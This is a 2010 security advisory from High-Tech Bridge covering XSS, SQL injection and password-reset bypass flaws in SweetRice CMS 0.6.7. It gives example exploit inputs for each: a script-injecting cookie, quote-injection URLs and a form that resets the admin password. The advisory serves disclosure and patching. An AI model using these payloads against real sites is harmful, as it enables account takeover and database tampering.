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Multiple Vulnerabilities in SweetRice CMS

Advisory ID:HTB22667
Product:SweetRice CMS
Vendor:basic-cms.org
Vulnerable Versions:0.6.7 and probably prior
Tested Version:0.6.7
Advisory Publication:October 21, 2010 [without technical details]
Vendor Notification:October 21, 2010
Public Disclosure:November 4, 2010
Latest Update:November 9, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
Improper Authentication [CWE-287]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SweetRice CMS which could be exploited to perform cross-site scripting and SQL injection attacks and change administrator`s password.


1) Cross-site scripting (XSS) vulnerability in SweetRice CMS

The vulnerability exists due to input sanitation error in the "top_height" cookie in as/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation examples:
GET /as/index.php HTTP/1.1
Cookie: top_height=')%3B"><script>alert('XSS')%3B</script>;


2) SQL injection vulnerabilities in SweetRice CMS

The vulnerability exists due to input sanitation errors in the "file_name" (when action is set to attachment), "post"(when action is set to show_comment) and "sys-name" (when action is set to view or when action is set to rssfeed and type is set to entry) parameters index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation example:
http://[host]/index.php?action=attachment&file_name=%27
http://[host]/index.php?action=show_comment &post=%27
http://[host]/index.php?action=rssfeed&type=entry&sys-name=%27
http://[host]/index.php?a ction=view&sys-name=%27


3) Security bypass vulnerability in SweetRice CMS

The vulnerability exists due to insufficient verification of the user`s identity in password reset functionality. A remote attacker with knowledge of administrator`s email address can reset his password and gain full access to the website.

Exploitation example:

<form action="http://[host]/as/index.php?type=password&mod=resetok" method="post">
<input name="p1" type="hidden" value="123">
<input name="p2" type="hidden" value="123">
<input name="email" type="hidden" value="[admin_email]">
<input value="Login" name="login" type="submit">
</form>


Solution:
Upgrade to version 0.6.7.1 [2010.10,25]


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References:
[1] High-Tech Bridge Advisory HTB22667 - https://www.htbridge.com/advisory/HTB22667 - Multiple Vulnerabilities in SweetRice CMS
[2] SweetRice CMS - www.basic-cms.org - SweeRice is a simple website management system,it is not just free and open source, it provides popular functions such as SEO.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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